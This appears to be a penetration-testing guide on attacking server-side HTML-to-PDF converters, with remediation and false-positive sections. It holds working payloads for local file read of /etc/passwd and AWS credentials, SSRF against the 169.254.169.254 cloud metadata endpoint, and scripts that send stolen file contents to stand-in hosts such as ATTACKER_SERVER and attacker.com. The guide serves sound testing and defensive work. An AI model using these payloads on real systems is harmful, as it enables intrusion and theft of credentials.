9 min read

PDF Generation Attacks

Many web applications generate PDFs server-side using HTML-to-PDF converters (wkhtmltopdf, WeasyPrint, Puppeteer, Chrome headless, Prince). When user-controlled content is rendered into PDFs, attackers can exploit the converter for SSRF, local file reading, XSS execution, and information disclosure.

Information

PDF generators that use headless browsers (wkhtmltopdf, Puppeteer, Chrome) can execute JavaScript, make network requests, and access local files — making them particularly dangerous.

Frameworks: WSTG-INPV-19, WSTG-ATHZ-01 · ASVS 5.0 V1.3.6, V5.4.1 · CWE-918, CWE-22 · T1190, T1552.005

Why the Renderer Is the Vulnerability

The precondition is narrow and absolute: the server must render user-controlled text as markup. A PDF feature that takes structured fields and interpolates them into a fixed template is usually safe. One that accepts rich text, an HTML note, or a "paste your invoice header" box hands the renderer a document — and that is the whole vulnerability. Establish it before touching a payload.

Once your markup is parsed, every <img>, <link>, @import and <iframe> becomes a request made by the server, with the server's network position and file permissions. Markup that is inert in a browser is an outbound connection here. Renderers differ: headless Chrome runs JavaScript and fetches subresources, wkhtmltopdf needs --enable-local-file-access for file://, and WeasyPrint runs no JavaScript at all. Fingerprint first — pdfinfo reports the Producer and Creator.

Confirm HTML/JS Injection

Establish the precondition before reaching for file-read or SSRF payloads: prove that user-controlled input actually reaches the renderer as HTML, and whether JavaScript executes. Only a confirmed injection point makes the techniques below relevant.

confirm-injection.html
# Step 1 — does markup render? Submit a formatting tag in a field that
# ends up in the PDF (name, address, note, comment):
<b>pentest-marker</b>

# Step 2 — does JavaScript execute? Submit a script that writes to output:
<script>document.write('XSS-CONFIRMED')</script>

# If the marker renders as bold text, input reaches the HTML parser.
# If "XSS-CONFIRMED" appears in the PDF (or your callback fires), JS is
# enabled — the renderer is now a viable SSRF/file-read primitive.
# Only then do the file-read, SSRF, and exfiltration payloads below apply.

Local File Read

These methods depend on the renderer being permitted to open local files, so read something with a distinctive, harmless body first — /etc/hostname on Linux, C:\Windows\win.ini on Windows — rather than /etc/passwd, which some hardened images omit and which makes a successful read look like a blank page. An error page rendered into the PDF is not a read; the file contents must appear.

pdf-local-file-read.html
# If user input is rendered in the PDF, inject HTML/JS to read local files:

# iframe method (works on wkhtmltopdf):
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>

# embed method:
<embed src="file:///etc/passwd" type="text/plain" width="800" height="500">

# object method:
<object data="file:///etc/passwd" type="text/plain" width="800" height="500"></object>

# JavaScript XMLHttpRequest (if JS is enabled):
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  document.write('<pre>' + xhr.responseText + '</pre>');
</script>

# Note: the Fetch API rejects file:// URLs. Realistic local-file read
# depends on renderer configuration (e.g. wkhtmltopdf
# --enable-local-file-access) or a headless browser launched with local
# file access enabled.

# Read environment variables (Linux):
<iframe src="file:///proc/self/environ" width="800" height="500"></iframe>

# Read AWS credentials:
<iframe src="file:///home/app/.aws/credentials" width="800" height="500"></iframe>

SSRF via PDF Generation

SSRF confirmation needs a callback you control: a Collaborator or webhook URL with a unique hostname. A generic timeout proves only that the renderer did not finish. Image and link tags cannot set headers, which is why the AWS metadata endpoint answers them and Azure's does not. A request that is fetched but not embedded — the image renders broken — still proves egress left the server.

pdf-ssrf.html
# Force the PDF generator to make HTTP requests to internal services:

# Image tag SSRF:
<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

# Link tag:
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">

# Azure IMDS requires the "Metadata: true" header and rejects requests that
# carry X-Forwarded-For — plain <img>/<link> tags cannot set headers:
# http://169.254.169.254/metadata/instance?api-version=2021-02-01

# JavaScript-based SSRF:
<script>
  var img = new Image();
  img.src = 'http://internal-api:8080/admin?data=' + 
    btoa(document.documentElement.innerHTML);
</script>

# Redirect chain:
<meta http-equiv="refresh" content="0;url=http://169.254.169.254/latest/meta-data/">

# CSS-based SSRF:
<style>
  @import url('http://169.254.169.254/latest/meta-data/');
  body { background: url('http://internal:8080/admin'); }
</style>

# SVG-based SSRF:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://169.254.169.254/latest/meta-data/" />
</svg>

Data Exfiltration

Exfiltration matters when the PDF is not returned to you. If it is, the data is already in the document and the outbound channel is optional. Base64 is fine in an HTTP query string; DNS labels cannot carry +, / or =, so hex-encode for that path. Always include a correlation id, so a callback can be tied to one specific test.

pdf-exfiltration.html
# If the PDF is returned to the attacker, data appears in the rendered PDF.
# If NOT, exfiltrate via outbound HTTP:

<script>
  // Read a local file and exfiltrate it:
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///etc/passwd', false);
  xhr.send();
  var data = btoa(xhr.responseText);
  
  // Exfiltrate via image request:
  var img = new Image();
  img.src = 'http://ATTACKER_SERVER/exfil?data=' + data;
</script>

# DNS-based exfiltration (if HTTP is blocked) — base64 emits + / = which are
# invalid in DNS labels, so hex-encode the data instead:
<script>
  var data = Array.from('sensitive-data').map(function(c) {
    return c.charCodeAt(0).toString(16);
  }).join('');
  var img = new Image();
  img.src = 'http://' + data + '.attacker.com/x.png';
</script>

Verifying Each Capability Separately

Fingerprint the renderer before interpreting anything else: pdfinfo prints Producer and Creator, and a version string narrows both the payload set and the fix. Then confirm each capability on its own — markup parsed, JavaScript executed, file read, egress allowed — because a renderer that blocks one says nothing about the others. Record the exact input too: PDF features often resubmit a stored template rather than live input, and the field you changed may not be the one being rendered.

pdf-renderer-check.sh
# Fingerprint the generator from the PDF you received
pdfinfo invoice.pdf | grep -Ei 'producer|creator|creationdate'

# Confirm egress independently of file access.
# Submit this in a user-controlled field, then watch the Collaborator log:
# <img src="https://UNIQUE-ID.oastify.com/probe.png">

Testing Checklist

  • ☐ 1. Identify PDF generation features (invoices, reports, exports, receipts)
  • ☐ 2. Determine what user input appears in the PDF
  • ☐ 3. Test HTML injection by inserting <h1>test</h1> — does it render?
  • ☐ 4. Test JavaScript execution with <script>document.write('XSS')</script>
  • ☐ 5. Test file:// protocol for local file read
  • ☐ 6. Test SSRF via img, link, import, and script tags
  • ☐ 7. Test for cloud metadata access (169.254.169.254)
  • ☐ 8. Check PDF metadata for generator version information

Evidence Collection

Rendered PDF: PDF file showing injected content, file contents, or SSRF results

Request: The input that triggered the injection

Renderer Fingerprint: pdfinfo output showing Producer and Creator — it identifies which payloads were plausible and which fix applies

Callback Correlation: Collaborator or webhook entry matching the unique hostname you submitted, with the timestamp of the request

CVSS Range: HTML injection: 4.3–6.1 | Local file read: 7.5–8.6 | SSRF to cloud metadata: 9.1

Remediation

  • • Sanitize HTML input: Strip all HTML tags or use allowlists for safe formatting tags only.
  • • Disable JavaScript: Configure the PDF generator to disable JS execution (wkhtmltopdf: --disable-javascript).
  • • Block file:// protocol: Disable local file access in the PDF renderer.
  • • Network isolation: Run PDF generation in a sandbox with no access to internal networks or cloud metadata.
  • • Use data-driven templates: Pass data to templates instead of allowing user-controlled HTML.
  • • Render in a disposable sandbox: Run the converter in a container with no cloud credentials, no metadata route, no internal network access and a read-only filesystem apart from the output path.
  • • Keep the renderer patched: Chromium and wkhtmltopdf are the attack surface here; a version pinned for template compatibility is usually years behind. Track it like any other internet-facing component.
  • • Serve inputs from short-lived URLs: If the renderer fetches the document to convert, hand it a signed URL that expires in minutes, so a captured URL is not a permanent read primitive.

False Positive Identification

  • HTML rendering without SSRF: The PDF engine rendering HTML doesn't mean it can make external requests — verify with an external callback (webhook/Burp Collaborator) before classifying as SSRF.
  • Local file read blocked by sandbox: Some PDF engines sandbox file:// access — getting an error instead of file content means the sandbox is working.
  • CSS injection without impact: Injecting CSS that changes PDF appearance is cosmetic — focus on data exfiltration, SSRF, and file read capabilities.
  • Renderer fetched from a cache or allowlist: A callback only counts if you control the hostname. A request to a CDN the renderer already trusts proves nothing about its egress policy.
  • Markup escaped, not parsed: If <b>pentest-marker</b> appears literally in the PDF with the angle brackets visible, input was escaped. That is the safe behaviour, and none of the file-read or SSRF payloads apply.
  • Error page instead of file content: A rendered "file not found" or permission page means the renderer tried and was blocked. Report the sandbox working as intended, not as a read.